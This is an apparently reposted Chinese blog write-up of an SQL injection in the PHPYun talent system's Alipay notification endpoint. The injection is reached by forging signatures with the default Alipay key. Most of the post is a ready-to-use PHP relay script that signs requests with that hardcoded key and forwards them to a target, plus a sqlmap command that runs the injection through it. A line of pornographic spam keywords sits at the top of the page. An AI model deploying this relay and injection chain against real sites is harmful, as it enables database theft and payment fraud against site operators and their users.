日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

api uc.php 漏洞,php云人才系统 UC API 未初始化注入漏洞

發布時間:2023/12/29 php 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 api uc.php 漏洞,php云人才系统 UC API 未初始化注入漏洞 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

### 簡要描述:

### 詳細說明:

api/alipaydual/notify_url.php

require_once("alipay.config.php");

require_once("lib/alipay_notify.class.php");

require_once(dirname(dirname(dirname(__FILE__)))."/data/db.config.php");

require_once(dirname(dirname(dirname(__FILE__)))."/include/mysql.class.php");

$db = new mysql($db_config['dbhost'], $db_config['dbuser'], $db_config['dbpass'], $db_config['dbname'], ALL_PS, $db_config['charset']);

//計算得出通知驗證結果

$alipayNotify = new AlipayNotify($aliapy_config);

$verify_result = $alipayNotify->verifyNotify();//有一處驗證 驗證可以繞過

if($verify_result) {//驗證成功

echo 222;/

//請在這里加上商戶的業務邏輯程序代

//——請根據您的業務邏輯來編寫程序(以下代碼僅作參考)——

//獲取支付寶的通知返回參數,可參考技術文檔中服務器異步通知參數列表

$out_trade_no= $_POST['out_trade_no']; //獲取訂單號

$trade_no= $_POST['trade_no']; //獲取支付寶交易號

$total= $_POST['price'];//獲取總價格

$sql=$db->query("select * from `".$db_config["def"]."company_order` where `order_id`='$out_trade_no'");//這里進行了注入

echo "select * from `".$db_config["def"]."company_order` where `order_id`='$out_trade_no'";

$row=mysql_fetch_array($sql);

$sOld_trade_status = $row['order_state'];

if($_POST['trade_status'] == 'WAIT_BUYER_PAY') {

驗證代碼:

function verifyNotify(){

if(empty($_POST)) {//判斷POST來的數組是否為空

return false;

}

else {

//生成簽名結果

$mysign = $this->getMysign($_POST);//這里會產生一個KEY 我們跟一下

echo $mysign."||";

function getMysign($para_temp) {

//除去待簽名參數數組中的空值和簽名參數

$para_filter = paraFilter($para_temp);

//對待簽名參數數組排序

$para_sort = argSort($para_filter);

//生成簽名結果

echo trim($this->aliapy_config['key'])."::". strtoupper(trim($this->aliapy_config['sign_type'])).":x:";

$mysign = buildMysign($para_sort, trim($this->aliapy_config['key']), strtoupper(trim($this->aliapy_config['sign_type'])));//可以看到這里有利用一個KEY 進行加密 這個KEY是有默認值的 我們可以構造一個中轉來生產一個KEY進行注入!

return $mysign;

}

### 漏洞證明:

中轉程序如下

================================================================================

function paraFilter($para) {

$para_filter = array();

while (list ($key, $val) = each ($para)) {

if($key == "sign" || $key == "sign_type" || $val == "")continue;

else$para_filter[$key] = $para[$key];

}

return $para_filter;

}

function argSort($para) {

ksort($para);

reset($para);

return $para;

}

function createLinkstring($para) {

$arg = "";

while (list ($key, $val) = each ($para)) {

$arg.=$key."=".$val."&";

}

//去掉最后一個&字符

$arg = substr($arg,0,count($arg)-2);

//如果存在轉義字符,那么去掉轉義

if(get_magic_quotes_gpc()){$arg = stripslashes($arg);}

return $arg;

}

function sign($prestr,$sign_type='MD5') {

$sign='';

if($sign_type == 'MD5') {

$sign = md5($prestr);

}elseif($sign_type =='DSA') {

//DSA 簽名方法待后續開發

die("DSA 簽名方法待后續開發,請先使用MD5簽名方式");

}else {

die("支付寶暫不支持".$sign_type."類型的簽名方式");

}

return $sign;

}

function buildMysign($sort_para,$key,$sign_type = "MD5") {

//把數組所有元素,按照“參數=參數值”的模式用“&”字符拼接成字符串

$prestr = createLinkstring($sort_para);

//把拼接后的字符串再與安全校驗碼直接連接起來

$prestr = $prestr.$key;

//把最終的字符串簽名,獲得簽名結果

$mysgin = sign($prestr,$sign_type);

return $mysgin;

}

function getMysign($para_temp) {

//除去待簽名參數數組中的空值和簽名參數

$para_filter = paraFilter($para_temp);

//對待簽名參數數組排序

$para_sort = argSort($para_filter);

//生成簽名結果

$mysign = buildMysign($para_sort, 'jbjwjnu6zhax0eewc3vfiqldvrg8rnfz', 'MD5');

return $mysign;

}

$hash=getMysign($_POST);

$host="127.0.0.1";//這里設置下host!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$data="sign={$hash}&out_trade_no={$_POST[out_trade_no]}";

$username=rawurlencode(stripslashes($_GET['username']));

$message = "POST /yun/api/alipaydual/notify_url.php HTTP/1.1\r\n";//這里記得修改路徑!!!!!!!!!!!!!!!!!!!!

$message .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";

$message .= "Content-Type: application/x-www-form-urlencoded\r\n";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Havij\r\n";

$message .= "Host: {$host}\r\n";

$message .= "Content-Length: ".strlen($data)."\r\n";

$message .= "Connection: close\r\n";

$message .= "\r\n";

$message .=$data;

//echo $message;

//file_put_contents('2.txt',$message,FILE_APPEND);

//print $message;

//exit();

$ock=fsockopen($host,80);

if (!$ock) {

echo 'No response from xx!';

//die;

return '';

}

fputs($ock,$message);

while ($ock && !feof($ock))

$resp .= fread($ock, 1024);

echo $resp;

?>

測試方式

sqlmap.py -u "http://127.0.0.1/x.php" --data="out_trade_no=1" --dbs

就可以了

[](https://images.seebug.org/upload/201311/21201216df9a9f8d92c8e7274ceb6fde0cff1f21.png)

總結

以上是生活随笔為你收集整理的api uc.php 漏洞,php云人才系统 UC API 未初始化注入漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。